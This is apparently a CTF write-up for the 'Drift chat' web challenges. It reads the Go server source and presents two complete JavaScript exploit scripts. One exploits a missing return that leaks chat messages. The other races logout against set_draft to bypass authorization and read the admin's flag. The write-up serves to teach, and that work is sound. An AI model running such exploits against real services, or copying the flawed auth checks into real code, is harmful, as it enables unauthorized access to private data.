Drift chat
There were two challenges: Drift chat and Drift chat revenge. The only difference is that in revenge version simple unintended solution was fixed.
Let’s take a look on the app first: we see the app with login/screen and simple chat functionality: create chat, send a message and very suspicious and ambiguous feature drafts, where messages are saved as draft, and visible for a companion.
While searching for the flag in source, we see that during initial migrations two users are being created and flag is inserted as a message in chat between them.
INSERT INTO users (username, password) VALUES ('kek', substring(md5(random()::text) from 0 for 16));
INSERT INTO users (username, password) VALUES ('admin', substring(md5(random()::text) from 0 for 16));
INSERT INTO chats (name, allowed_users) VALUES ('best chat eva', '{"kek", "admin"}');
INSERT INTO messages (chat_name, author, content) VALUES ('best chat eva', 'admin', 'SAS{FLAG}');
Checking how auth works:
- Register endpoint checks that an username length is more then 5 chars and password is greater then 7;
func (s *Service) Register(c *gin.Context) {
ctx := c.Request.Context()
req := registerReq{}
if err := c.BindJSON(&req); err != nil {
//send error
return
}
if len(req.Username) < 6 {
//send username length error
return
}
if len(req.Password) < 8 {
//send password length error
return
}
if err := s.user.Save(ctx, req.Username, req.Password); err != nil {
// send erros
return
}
c.JSON(200, registerResp{})
}
- On login, after checking that username exists and password matches, service generates token and puts it into redis where token is a key and value is username
token, err := redis.GenerateSessionToken()
// ...
st := s.red.Set(ctx, fmt.Sprintf(redis.SessionUsername, token), req.Login, 0)
// ...
c.SetCookie(tokenCookie, token, 36000, "/", "", false, false)
- In all auth required endpoints this construction is used:
if len(tok) != 1 {
c.AbortWithStatus(403)
return
}
token := tok[0].Value
st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
if st.Err() != nil {
c.AbortWithStatus(403)
c.Error(st.Err())
return
}
username := st.Val()
- And last endpoint is logout: check that our token valid and remove all token related keys from redis.
So it looks like we need to access chat which belongs to different users somehow, so we’ll check first endpoint which allows to do that - getChat
func (s *Service) GetChat(c *gin.Context) {
req := getChatReq{}
// ...
// parsing req
// ...
// getting username
username := st.Val()
ok, _ := s.check_is_allowed(ctx, username, req.Chat)
if !ok {
c.AbortWithStatus(403)
}
messages, err := s.chat.GetMessages(ctx, req.Chat)
if err != nil {
c.AbortWithStatus(500)
c.Error(err)
return
}
// ...
// generate output with messages
c.JSON(200, getChatResp{Messages: messages, Users: userStatus})
}
After revenge challenge was released we also can get diff and there are only few lines were changed:
diff -r web-drift/server/internal/service/get_chat.go drift-revenge/server/internal/service/get_chat.go
46c46
< if st.Err() != nil {
---
> if st.Err() != nil || st.Val() == "" {
51a52
>
54a56
> return
88d89
<
91a93
>
So, in the original task return was missed and even if we are not allowed to access chat it would return 403 status code but also would add messages into response. So, here is exploit:
const host = 'http://127.0.0.1:8080';
function makeRequest(path,body, token) {
return fetch(`${host}${path}`, {
"headers": {
"content-type": "application/json",
...(token ? {cookie: `token=${token}`} : {})
},
"body": JSON.stringify(body),
"method": "POST"
});
}
async function register(username, password) {
await makeRequest('/api/register', {
login: username,
password: password
});
}
async function login(username, password) {
const res = await makeRequest(`/api/login`, {
login: username,
password: password
});
const setCookieHeader = res.headers.get('set-cookie');
return setCookieHeader.split(';')[0].split('=')[1];
}
async function getChat(token) {
const res = await makeRequest(`/api/chat/get`, {
"chat": "best chat eva"
}, token);
console.log("Chat messages", await res.json())
}
async function start() {
const username = "login11";
const password = "12345678";
await register(username, password);
const token = await login(username, password)
await getChat(token);
}
start()
Drift revenge
After the bug above was fixed we need another way to access messages. Task name and vin diesel quote gives us a hint that it might be an race condition.
Beside getChat there is also sendMessage endpoint which returns all chat messages, and suspicious drafts are used. The send message flow is following
- Frontend sends requests with current text to save draft, set_draft endpoint check auth, and adding or removing draft from redis. Let’s take a look in details:
func (s *Service) SetDraft(c *gin.Context) {
// ...
// checking auth
// ...
username := st.Val()
if username == "" {
c.AbortWithStatus(403)
return
}
s.red.Set(ctx, fmt.Sprintf(redis.Online, username), "1", 10*time.Second)
if req.Draft == "" {
res := s.red.Del(ctx, fmt.Sprintf(redis.DraftMessage, token),
fmt.Sprintf(redis.WrittenNow, token))
//...
c.JSON(200, setDraftResp{})
return
}
pipe := s.red.TxPipeline()
pipe.SAdd(ctx, fmt.Sprintf(redis.ChatWriteList, req.Chat), token)
pipe.Set(ctx, fmt.Sprintf(redis.DraftMessage, token), req.Draft, 0)
pipe.Set(ctx, fmt.Sprintf(redis.WrittenNow, token), req.Chat, 0)
_, err := pipe.Exec(ctx)
// ...
c.JSON(200, setDraftResp{})
}
So, in redis app stores list of token that are writing to chat, draft per token and chat name per token.
- In send message endpoint app accepts only chat name, then checks that draft chat and chat in requests match, checks permissions to write in the chat, retrieve messages and return them.
func (s *Service) SendMessage(c *gin.Context) {
// ...
// Parsing body with chat name
// ...
tok := c.Request.CookiesNamed(tokenCookie)
if len(tok) != 1 {
c.AbortWithStatus(403)
return
}
token := tok[0].Value
st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
username := st.Val()
// Getting current draft or return error
msg := st.Val()
// ...
// Getting current draft chat or return error
writtenNow := st.Val()
if writtenNow != chatName {
c.AbortWithStatus(403)
c.Error(fmt.Errorf("written now is wrong %s", st.Err()))
return
}
// getting messages or throw error
messages, err := s.chat.GetMessages(ctx, chatName)
// ...
ok, _ := s.check_is_allowed(ctx, username, chatName)
if !ok {
c.AbortWithStatus(403)
return
}
// ...
// Add message to db and return all messages
// ...
c.JSON(200, getChatResp{Messages: messages})
}
First thing I noticed that we retrieve messages before checking that user is allowed to write to the chat.
Another thing that auth flow doesn’t look similar to other endpoints. In particular, there is no check that key exists in redis.
So if in another endpoints server returns error if token wasn’t found, send message would initialize username as empty string and move forward.
Also, in check_is_allowed method this specific condition is handled and if username is empty it returns ok = true:
func (s *Service) check_is_allowed(ctx context.Context, name, chat string) (bool, error) {
if name == "" {
return true, errors.New("no name")
}
So, it means that if in the redis there is no auth token but draft chat and message exist we would pass all checks. So checking logout method which removes all those keys from redis:
st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
if st.Val() == "" || st.Err() != nil {
s.red.Del(ctx, fmt.Sprintf(redis.SessionUsername, token))
c.JSON(200, registerResp{})
return
}
chat_name := st.Val()
s.red.SRem(ctx, fmt.Sprintf(redis.ChatWriteList, chat_name), token)
s.red.Del(ctx,
fmt.Sprintf(redis.SessionUsername, token),
fmt.Sprintf(redis.DraftMessage, token),
fmt.Sprintf(redis.WrittenNow, token))
And here we see place for race condition: on two parallel logout and setDraft request requests it might happen that
- Set draft and logout checks auth
- logout checks WrittenNow first and removes only auth
- After that set draft inserts draft into redis
In this case we would get what we need: draft without auth token.
Here is exploit
const host = 'http://127.0.0.1:8080'
function makeRequest(path,body, token) {
return fetch(`${host}${path}`, {
"headers": {
"content-type": "application/json",
...(token ? {cookie: `token=${token}`} : {})
},
"body": JSON.stringify(body),
"method": "POST"
});
}
async function register(username, password) {
await makeRequest('/api/register', {
login: username,
password: password
});
}
async function login(username, password) {
const res = await makeRequest(`/api/login`, {
login: username,
password: password
});
const setCookieHeader = res.headers.get('set-cookie');
return setCookieHeader.split(';')[0].split('=')[1];
}
async function logout(token) {
return makeRequest(`/api/logout`, {}, token);
}
async function setDraft(token) {
await makeRequest(`/api/set_draft`, {
chat: "best chat eva",
draft: "test"
}, token);
}
async function sendMessage(token) {
const res = await makeRequest(`/api/send_message`, {
chat: "best chat eva"
}, token);
const textRes = await res.text();
console.log('send message response', textRes);
}
async function start() {
const username = "login11";
const password = "12345678";
await register(username, password);
for(let i = 0; i < 10; i++) {
const token = await login(username, password)
await Promise.all([setDraft(token), logout(token)]);
await sendMessage(token);
}
}
start()
Redis ring
I’ve seen couple of writeups where authors claim that the reason of race condition is inconsistency in the redis ring.
Actually, this exploit works with latest version of go redis and with one redis instance. Both with ring and simple client.
The reason of race condition is that go handles requests concurrently. That’s it.
I changed original service to test my claim and here is a diffs
Ring with one redis:
diff --git a/cmd/main.go b/cmd/main.go
--- a/cmd/main.go
+++ b/cmd/main.go
@@ -30,3 +30,2 @@ func main() {
"redis1": "redis1:6379",
- "redis2": "redis2:6379",
diff --git a/go.mod b/go.mod
--- a/go.mod
+++ b/go.mod
@@ -6,3 +6,3 @@ require (
- github.com/redis/go-redis/v9 v9.7.3
+ github.com/redis/go-redis/v9 v9.9.0
)
@@ -10,3 +10,3 @@ require (
require (
- github.com/cespare/xxhash/v2 v2.2.0 // indirect
+ github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect
diff --git a/go.sum b/go.sum
--- a/go.sum
+++ b/go.sum
@@ -11,2 +11,4 @@ github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj
github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
+github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
+github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/cloudwego/base64x v0.1.5 h1:XPciSp1xaq2VCSt6lF0phncD4koWyULpl5bUxbfCyP4=
@@ -74,2 +76,4 @@ github.com/redis/go-redis/v9 v9.7.3 h1:YpPyAayJV+XErNsatSElgRZZVCwXX9QzkKYNvO7x0
github.com/redis/go-redis/v9 v9.7.3/go.mod h1:bGUrSggJ9X9GUmZpZNEOQKaANxSGgOEBRltRTZHSvrA=
+github.com/redis/go-redis/v9 v9.9.0 h1:URbPQ4xVQSQhZ27WMQVmZSo3uT3pL+4IdHVcYq2nVfM=
+github.com/redis/go-redis/v9 v9.9.0/go.mod h1:huWgSWd8mW6+m0VPhJjSSQ+d6Nh1VICQ6Q5lHuCH/Iw=
github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8=
Diff with simple redis client(Go redis was also updated):
diff --git a/cmd/main.go b/cmd/main.go
--- a/cmd/main.go
+++ b/cmd/main.go
@@ -27,7 +27,4 @@ func main() {
- redis := red.NewRing(&red.RingOptions{
- Addrs: map[string]string{
- "redis1": "redis1:6379",
- "redis2": "redis2:6379",
- },
+ redis := red.NewClient(&red.Options{
+ Addr: "redis1:6379",
})